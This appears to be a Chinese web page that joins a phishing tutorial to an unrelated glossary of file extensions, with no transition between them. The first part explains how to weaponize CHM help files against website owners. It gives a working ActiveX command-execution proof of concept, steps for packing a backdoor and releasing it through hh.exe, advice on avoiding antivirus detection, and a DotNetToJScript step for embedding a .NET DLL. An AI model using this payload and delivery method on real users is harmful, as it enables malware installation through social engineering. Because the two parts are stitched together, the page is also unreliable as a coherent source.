、CHM釣魚
進行釣魚選擇合適的payload非常重要,使用一些容易讓人放松警惕的文件格式可以大大提高釣魚的成功率。CHM是微軟推出的基于HTML的幫助文件系統,被 IE 瀏覽器支持的JavaScript, VBScript, ActiveX,等,CHM同樣支持。因此使用CHM作為釣魚的payload非常合適。
上述的總體意思就是,可以讓更多站長上當,這里充分了利用到了社會工程學
1) 、使用com控件命令執行
根據@ithurricanept的推特
使用了js啟動com控件執行命令
原始碼如下:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
使用HTML幫助研討會
創建一個新的項目,添加文件后進行編譯
選擇新
記住這里千萬不要打勾
隨便輸入記住帶.hpp后綴
隨便選擇一個
然后選擇new之后選擇HTML文件
然后輸入我們剛才的poc
寫完之后ctrl + s保存
記住保存的地址
然后點擊這個
選擇添加把我們剛寫的文件添加進去
然后點擊ok
隨后點擊這個
得到地址去訪問。發現便執行了命令
實際測試的時候注意了以下幾點:
執行命令的時候注意預定的參數與程序名需要用逗號替換,參數與參數之間不需要。
考慮到進行敏感操作會導致殺軟提示,因此應避免使用powershell,bitsadmin,certutil,cscript等。
通過cmd執行命令也屬于敏感操作,因此使用多個控件依次執行命令。
在搜索的過程中發現.chm文件的替換程序hh.exe具有反編譯功能(反編譯,將chm返回成html,其實就類似chm可以比喻成一個壓縮包,decompile是解壓縮)的功能,可以將打包進chm的文件釋放出來
HH.EXE -decompile D:/xTemp/decompile-folder C:/xTemp/XMLconvert.chm
hh -decompile目標文件夾源CHM文件名
這句話的意思
因此可以將后門程序一起打包進chm文件中,運行時調用hh.exe釋放chm中的后門程序再執行。
測試:
使用360測試的時候效果不太理想,在聯網情況下使用hh.exe反編譯會被攔截,斷網情況下沒有問題。
使用火絨測試沒有任何攔截。
既然可以利用chm執行js,那為什么不內嵌.net和dll呢?
編寫一個.net dll
namespace ClassLibrary1{ public class Class1 { public Class1() { /* Start notepad */ Process.Start("notepad.exe"); } }}
生成js腳本
DotNetToJScript.exe -o 1.js ClassLibrary1.dll -c ClassLibrary1.Class1
一篇文章講了一些電腦常用的后綴名即擴展名,這篇文章就來給大家提供一個大全。首先聲明這篇文章不是我原創,是借鑒的其他電腦方面大神的總結匯總,可以說是擴展名、后綴名的大全了,不得不佩服,好多格式我都沒見過,請查收:(如有侵權請聯系我刪除,謝謝?。?/p>
按照字母順序排列:
A開頭:
ACE:Ace壓縮檔案格式;
ACT:Microsoft office助手文件;
AIF,AIFF:音頻互交換文件,Silicon Graphic and Macintosh應用程序的聲音格式;
ANI:Windows系統中的動畫光標;
ARC:LH ARC的壓縮檔案文件;
ARJ:Robert Jung ARJ壓縮包文件;
ASD:Microsoft Word的自動保存文件;
ASF:Microsoft高級流媒體格式文件;
ASM:匯編語言源文件,Pro/E裝配文件;
ASP:動態網頁文件 ProComm Plus安裝與連接腳本文件 Astound介紹文件;
AST:Astound多媒體文件 ClarisWorks"助手"文件;
Axx:ARJ壓縮文件的分包序號文件,用于將一個大文件壓至幾個小的壓縮包中(xx代表01-99的數字);
A3L:Authorware 3.x庫文件;
A4L:Authorware 4.x庫文件;
A5L:Authorware 5.x庫文件;
A3M,A4M:Authorware Macintosh未打包文件;
A3W,A4W,A5W:未打包的Authorware Windows文件;
B開頭:
BAK:備份文件;
BAS:BASIC源文件;
BAT:批處理文件;
BIN:二進制文件;
BINHex:蘋果的一種編碼格式;
BMP:Windows或OS/2位圖文件;
BOOK:Adobe FrameMaker Book文件;
BOX:Lotus Notes的郵箱文件;
BPL:Borlard Delph 4打包庫;
BSP:Quake圖形文件;
BUN:CakeWalk 聲音捆綁文件(一種MIDI程序);
C開頭:(最多)
C0l:臺風波形文件;
CAB:Microsoft壓縮檔案文件;
CAD:Softdek的Drafix CAD文件;
CAM:Casio照相機格式;
CAP:壓縮音樂文件格式;
CAS:逗號分開的ASCⅡ文件;
CCB:Visual Basic動態按鈕配置文件;
CCH:Corel圖表文件;
CCO:CyberChat數據文件;
CCT:Macromedia Director Shockwave投影;
CDA:CD音頻軌道;
CDF:Microsoft頻道定義格式文件;
CDI:Philip的高密盤交互格式;
CDM:Visual dBASE自定義數據模塊文件;
CDR:CorelDRAW繪圖文件 原始音頻CD數據文件;
CDT:CorelDRAW模板;
CDX:CorelDRAW壓縮繪圖文件 Microsoft Visual FoxPro索引文件;
CFG:配置文件;
CGI:公共網關接口腳本文件;
CGM:計算機圖形元文件;
CH:OS/2配置文件;
CHK:由Windows磁盤碎片整理器或磁盤掃描保存的文件碎片;
CHM:編譯過的HTML文件;
CHP:Ventura Publisher章節文件;
CHR:字符集(字體文件);
CHT:ChartViem文件 Harvard Graphics矢量文件;
CIF:Adaptec CD 創建器 CD映像文件;
CIL:Clip Gallery下載包;
CIM:SimCity 2000文件;
CIN:OS/2改變控制文件用于跟蹤INI文件中的變化;
CLASS:Java類文件;
CLP:Windows 剪貼板文件;
CLL:Crick Software Clicker文件;
CLS:Visual Basic類文件;
CMD:Windows NT,OS/2的命令文件 DOS CD/M命令文件 dBASEⅡ程序文件;
CPI:Microsoft MS-DOS代碼頁信息文件;
CPL:控制面板擴展名,Corel顏色板;
CPP:C++代碼文件;
CPR:Corel提供說明書文件;
CPT:Corel 照片-繪畫圖像;
CST:Macromedia Director Cast文件;
CUR:Windows光標文件;
D開頭:
DBF:dBASE文件,可用數據文件(能被Excel97打開) Oracle 8.1.x表格空間文件
DBX:DataBearn圖像 Microsoft Visual FoxPro表格文件;
DCT:Microsoft Visual FoxPro數據庫容器;
DCU:Delphi編譯單元文件;
DCX:Microsoft Visual FoxPro數據庫容器 基于PCX的傳真圖像宏;
DIR:MacromediaDirector文件;
DLL:動態鏈接庫;
DOC:Word文檔文件;
DOT:Microsoft Word文檔模板;
DPL:Borland Delph 3壓縮庫;
DRV:驅動程序;
DRW:Micrografx Designer/Draw Pro/E繪畫文件;
DSF:Micrografx Designer VFX文件;
DSG:DOOM保存的文件;
DSM:Dynamic Studio音樂模塊(MOD)文件;
DSP:Microsoft Developer Studio工程文件;
DSQ:Corel QUERY(查詢)文件;
DST:刺繡機圖形文件;
DSW:Microsoft Developer Studio工作區文件;
DTA:World Bank(世界銀行)的STARS數據文件;
DTD:SGML文檔類型定義(DTD)文件;
DTED:地面高度數字數據(圖形的數據格式)文件;
DTF:Symantec Q&A相關的數據庫數據文件;
DTM:DigiTrakker模塊文件;
DUN:Microsoft拔號網絡導出文件;
DV:數字視頻文件(MIME);
DWG:AutoCAD工程圖文件 AutoCAD或Generic CADD老版本的繪圖格式;
DXR:Macromedia Director受保護(不可編輯)電影文件;
E開頭:
EDA:Ensoniq ASR磁盤映像;
EDD:元素定義文檔(FrameMaker+SGML文檔);
EDE:Ensoniq EPS磁盤映像;
EDK:Ensoniq KT磁盤映像;
EDQ:Ensoniq SQ1/SQ2/Ks32磁盤映像;
EDS:Ensoniq SQ80磁盤映像;
EDV:Ensoniq VFX-SD磁盤映像;
EFA:Ensoniq ASR文件;
EFE:Ensoniq EPS文件;
EFK:Ensoniq KT文件;
EFQ:Ensoniq SQ1/SQ2/Ks32文件;
EFS:Ensoniq SQ80文件;
EFV:Ensoniq VFX-SD文件;
EMD:ABT擴展模塊;
EMF:Windows增強元文件;
EML:Microsoft Outlook Express郵件消息(MIME RTC822)文件;
EXE:可執行文件或程序;
F開頭
FAV:Microsoft Outlook導航條;
FAX:傳真類型圖像;
FCD:虛擬CD-ROM;
FDF:Adobe Acrobat表單文檔文件;
FLA:Macromedia Flash電影;
FND:Microsoft Explorer保存的搜索文件(Find applet);
FON:系統字體;
FRT:Microsoft FoxPro報表文件;
FRX:Visual Basic表單文本 Microsoft FoxPro報表文件;
FXP:經Microsoft FoxPro編譯的源文件;
G開頭:
GDM:鈴聲、口哨聲和聲音板模塊格式;
GetRight:GetRight未完成的下載文件;
GHO:Norton 克隆磁盤映像;
GID:Windows 95全局索引文件(包括幫助狀態);
GIF:CompuServe位圖文件;
GL:動畫格式;
GRP:程序管理組;
H開頭:
HEX:Macintosh BinHex2.0文件;
HLP:Windows幫助文件;
HPP:C++程序頭文件;
HQX:Macintosh BinHex 4.0文件;
HT:HyperTerminal(超級終端);
HTM,HTML:超文本文檔;
HTT:Microsoft超文本模板;
HTX:擴展HTML模板;
I開頭:
ICO:Windows圖標;
IDX:Microsoft FoxPro相關數據庫索引文件 Symantec Q&A相關數據庫索引文件;
Express文件;
IMG:GEM映像;
INF:信息文件;
INI:初始化文件 ;
INP:Oracle 3.0版或早期版本的表單源代碼;
INRS:INRS遠程通信聲頻;
INS:InstallShield安裝腳本 X-Internet簽字文件;
INT:中間代碼,當一個源程序經過語法檢查后編譯產生一個可執行代碼;
IOF:Findit文檔;
IQY:Microsoft Internet查詢文件;
ISO:根據ISD 9660有關CD-ROM文件系統標準列出CD-ROM上的文件;
ISP:X-Internet簽字文件;
IST:數字跟蹤設備文件;
ISU:InstallShield卸裝腳本;
IT:脈沖跟蹤系統音樂模塊(MOD)文件;
ITI:脈沖跟蹤系統設備;
ITS:脈沖跟蹤系統抽樣,Internet文檔位置;
IV:Open Inventor中使用的文件格式;
IVD:超過20/20微觀數據維數或變量等級文件;
IVP:超過20/20的用戶子集配置文件;
IVT:超過20/20表或集合數據文件;
IVX:超過20/20微數據目錄文件;
IW:Idlewild屏幕保護程序;
IWC:Install Watch文檔;
J開頭
J62:Ricoh照相機格式;
JAR:Java檔案文件(一種用于applet和相關文件的壓縮文件);
JAVA:Java源文件;
JAR:Java檔案文件(一種用于applet和相關文件的壓縮文件);
JAVA:Java源文件;
JFF,JFIF,JIF:JPEG文件;
JPE,JPEG,JPG:JPEG圖形文件;
JS:javascript源文件;
JSP:HTML網頁,其中包含有對一個Java servlet的參考;
K開頭:
KAR:卡拉OK MIDI文件(文本+MIDI);
L開頭:
LAB:Visual dBASE標簽文件;
LBT,LBX:Microsoft FoxPro標簽文件;
LDB:Microsoft Access加鎖文件;
LHA:LZH更換文件后綴;
LOG:日志文件;
LZH:LH ARC壓縮檔案;
M開頭:
M1V:MPEG相關文件(MIME"mpeg"類型);
M3D:Corel Motion 3D動畫文件;
M3U:MPEG URL(MIME聲音文件);
MAM:Microsoft Access宏;
MAQ:Microsoft Access查詢文件;
MAR:Microsoft Access報表文件;
MBX:Microsoft Outlook保存email格式;
MCW:Microsoft Word的Macintosh文檔;
MDB:Microsoft Access數據庫;
MDN:Microsoft Access空數據庫模板;
MDW:Microsoft Access工作組文件;
MID:MIDI音樂;
MMM:Microsoft多媒體電影;
MOV:QuickTime for Windows電影;
MP2:第二層MPEG音頻文件;
MP3:第三層MPEG音頻文件;
MPA:MPEG相關文件,MIME"mpeg類型";
MPE,MPEG,MPG:MPEG動畫文件;
MPP:Microsoft工程文件 CAD繪圖文件格式;
MPR:Microsoft FoxPro菜單(已編譯);
MSI:Windows 安裝器包;
MSN:Microsoft 網絡文檔 Descent Mission文件;
O開頭:
OBD:Microsoft Office活頁夾;
OBJ:對象文件;
OBZ:Microsoft Office活頁夾向導;
OCX:Microsoft對象鏈接與嵌入定制控件;
ODS:Microsoft Outlook Express郵箱文件;
OFT:Microsoft Outlook模板;
OPX:OPL擴展DLL(動態鏈接庫);
OSS:Microsoft Office查找文件;
OST:Microsoft Exchange / Outlook 離線文件;
P開頭:
PAL:壓縮文件;
PART:Go!Zilla部分下載文件;
PAS:Pascal源代碼;
PCS:PICS動畫文件;
PDF:可導出文檔格式文件(可用Web瀏覽器顯示) Microsoft系統管理服務器包定義文件;
PHP,PHP3:包含有PHP腳本的HTML網頁;
PHTML:包含有PHP腳本的HTML網頁 由Perl分析解釋的HTML;
PM5:Pagemaker 5.0文件;
PM6:Pagemaker 6.0文件;
PPS:Microsoft Powerpoint幻燈片放映;
PPT:Microsoft Powerpoint演示文稿;
PRF:Windows系統文件,Macromedia導演設置文件;
PSD:Adobe photoshop位圖文件;
PSM:Protracker Studio模型格式 Epic游戲的源數據文件;
PST:Microsoft Outlook個人文件夾文件;
PWL:Windows 95口令列表文件;
Q開頭:
QIF:QuickTime相關圖像(MIME) Quicken導入文件;
QT,QTM:QuickTime電影;
QTI,QTIF:QuickTime相關圖像;
QTP:QuickTime優先文件;
QTS:Mac PICT圖像文件 QuickTime相關圖像;
QTX:QuickTime相關圖像;
R開頭:
RA:RealAudio聲音文件;
RAM:RealAudio元文件;
RAR:RAR壓縮檔案(Eugene Roshall格式);
REC:錄音機宏 RapidComm聲音文件;
REG:注冊表文件;
REP:Visual dBASE報表文件;
RES:Microsoft Visual C++資源文件;
RM:RealAudio視頻文件;
RMF:Rich Map格式;
ROM:基于盒式磁帶的家庭游戲仿真器文件;
Rxx:多卷檔案上的RAR壓縮文件(xx代表1~99間的一個數字);
S開頭:
SAV:游戲保存文件;
SB:原始帶符號字節(8位)數據;
SBK:Creative Labs的Soundfont 1.0 Bank文件 (Soundb laster)/EMU SonndFont v1.x Bank文件;
SBL:Shockwave Flash對象文件;
SCF:Windows Explorer命令文件;
SCH:Microsoft Schedule+1;
SCP:撥號網絡腳本文件;
SCR:Windows屏幕保護 傳真圖像 腳本文件;
SFX:RAR自解壓檔案;
SHTML:含有服務器端包括(SSI)的HTML文件;
SPL:Shockwave Flash對象 DigiTrakker抽樣;
SQL:Informix SQL查詢 通常被數據庫產品用于SQL查詢(腳本、文本、二進制)的文件擴展名;
STM:.shtml的短后綴形式,含有一個服務端包括(SSI)的HTML文件 Scream Tracker V2音樂模塊(MOD)文件;
STR:屏幕保護文件;
SWA:在Macromedia導演文件(MP3文件)中的Shockwave聲音文件;
SYS:系統文件;
T開頭:
T64:Commodore 64仿真器磁帶映像文件;
THEME:Windows 95桌面主題文件;
TIF,TIFF:標簽圖像文件格式(TIFF)位圖;
TMP:Windows臨時文件;
TRM:終端文件;
TXT:ASCⅡ文本格式的聲音數據;
TZ:老的壓縮格式文件;
V開頭:
VBA:VBase文件;
VBP:Microsoft Visual Basic工程文件;
VBW:Microsoft Visual Basic工作區文件;
VBX:Microsoft Visual Basic用戶定制控件;
VQE,VQL:Yamaha Sound-VQ定位器文件;
VQF:Yamaha Sound-VQ文件(可能出現標準);
VRF:Oracle 7配置文件;
VSL:下載列表文件(GetRight);
W開頭:
WAB:Microsoft Outlook文件;
WAD:包含有視頻、玩家水平和其他信息的DOOM游戲的大文件;
WAL:Quake 2正文文件;
WAV:Windows波形聲形;
WBK:Microsoft Word備份文件;
WFM:Visual dBASE Windows表單;
WFN:在CorelDRAW中使用的符號;
WIZ:Microsoft Word向導;
WRL:虛擬現實模型;
WWL:Microsoft Word內插器文件;
X開頭:
XLK:Microsoft Excel備份;
XLL:Microsoft Excel內插器文件;
XLM:Microsoft Excel宏;
XLS:Microsoft Excel工作單;
XLT:Microsoft Excel模板;
XLV:Microsoft Excel VBA模塊;
XLW:Microsoft Excel工作簿/工作區;
Z開頭:
ZAP:Windows軟件安裝配置文件;
ZIP:Zip文件;
數字開頭:
000-999:用于為老版本(或備份)文件編號(比如:被安裝程序改變的CONFIG.SYS文件) 又可用于為小范圍的PC應用程序的多個用戶相關數據文件編號;
12M:Lotus 1-2-3 97 SmartMaster文件;
123:Lotus 1-2-3 97文件;
2D:VersaCAD的2維繪畫文件;
2GR,3GR:在Windows之下的VGA圖形驅動程序/配置文件;
386:在386或更高級處理器上使用的文件;
3D:VersaCAD的3維繪畫文件;
3DM:3D NURBS建模器;
3DS:3D Studio(DOS下)格式文件;
4GE:Informix 4GL編譯后代碼;
4GL:Informix 4GL源代碼。
好了,以上就是文件擴展名即后綴名的大全了,我也做了一回知識的搬運工,就是不知道這樣算不算抄襲呢?各大發文平臺會不會判我違規?也無所謂了,我的目的是讓更多的人看到和學習,能夠幫助更多的人,只要能達到這個目標,其他的都不重要了。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。